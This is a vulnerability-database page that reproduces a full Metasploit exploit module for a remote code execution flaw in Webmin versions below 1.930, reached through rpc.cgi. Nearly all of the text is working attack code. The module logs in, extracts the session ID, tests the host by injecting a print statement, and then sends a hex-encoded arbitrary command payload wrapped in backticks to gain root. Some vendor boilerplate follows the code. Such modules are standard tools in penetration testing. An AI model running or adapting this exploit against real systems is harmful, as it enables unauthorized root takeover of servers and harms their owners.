Lucene search
K

Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)

🗓️ 02 Sep 2019 00:00:00Reported by James BercegayType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Webmin < 1.930 Remote Code Execution, takes advantage of code execution issue within unserialise_variable() function in web-lib-funcs.pl to gain root, using a valid session id

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Webmin < 1.930 Remote Code Execution",
      'Description'    => %q{
      This exploit takes advantage of a code execution issue within the function 
      unserialise_variable() located in web-lib-funcs.pl, in order to gain root.
      The only prerequisite is a valid session id.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Bercegay', # Vulnerability Discovery
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.gulftech.org/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2019/08/30',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('WMPORT',   [ true,  "Webmin port",     '10000']),
        OptString.new('WMUSER',   [ true,  "Webmin username", 'test']),
        OptString.new('WMPASS',   [ true,  "Webmin password", 'test']),
      ])
  end

  def check
      
    # Set Webmin port
    datastore['RPORT'] = datastore['WMPORT']

    # Verbose
    print_status("Attempting to login")

    # Send login request
    res = send_request_cgi(
      {
        'uri'       =>  '/session_login.cgi',
        'method'    => 'POST',
        'vars_post' =>
          {
            'user' => datastore['WMUSER'],
            'pass' => datastore['WMPASS'],
            'save' => '1'
          },
        'cookie' => "redirect=1; testing=1; sessiontest=1;"
      })

    # If succesful cookie will be set
    if ( res and res.headers['Set-Cookie'] )
      # Do we have a valid SID?
      if ( /sid=/.match(res.headers['Set-Cookie']) )
        # Extract the SID
        sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
        print_good("Login was successful")
      else
        # No dice
        print_bad("Unable to login")
        return Exploit::CheckCode::Safe
      end
    else
        # No dice
        print_bad("Unexpected response")
        return Exploit::CheckCode::Safe
    end

    # Verbose
    print_status("Checking if host is vulnerable")

    # Try to execute arbitrary code
    res = send_request_cgi({
        'uri'          => '/rpc.cgi',
        'method'       => 'POST',
        'headers'      => 
        {
          'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
        },
        'data'   => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"',
        'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
      })

    # If it works our custom Content-Type will be set
    if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )
      # Good
      return Exploit::CheckCode::Vulnerable
    else
      # Bad
      return Exploit::CheckCode::Safe
    end
  end

  def exploit

    # Set Webmin port
    datastore['RPORT'] = datastore['WMPORT']

    # Verbose
    print_status("Attempting to login")

    # Send login request
    res = send_request_cgi(
      {
        'uri'       =>  '/session_login.cgi',
        'method'    => 'POST',
        'vars_post' =>
          {
            'user' => datastore['WMUSER'],
            'pass' => datastore['WMPASS'],
            'save' => '1'
          },
        'cookie' => "redirect=1; testing=1; sessiontest=1;"
      })

    # If succesful cookie will be set
    if ( res and res.headers['Set-Cookie'] )
      # Do we have a valid SID?
      if ( /sid=/.match(res.headers['Set-Cookie']) )
        # Extract the SID
        sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
        print_good("Login was successful")
      else
        # No dice
        print_bad("Unable to login")
        return
      end
    else
        # No dice
        print_bad("Unexpected response")
        return
    end

    # Verbose
    print_status("Sending selected payload")

    # Hex encode payload to prevent problems with the payload getting mangled
    hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x')

    # Send selected payload
    res = send_request_cgi({
        'uri'          => '/rpc.cgi',
        'method'       => 'POST',
        'headers'      => 
        {
          'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
        },
        'data'   => 'OBJECT CGI;`' + hex + '`',
        'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
      })
    end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation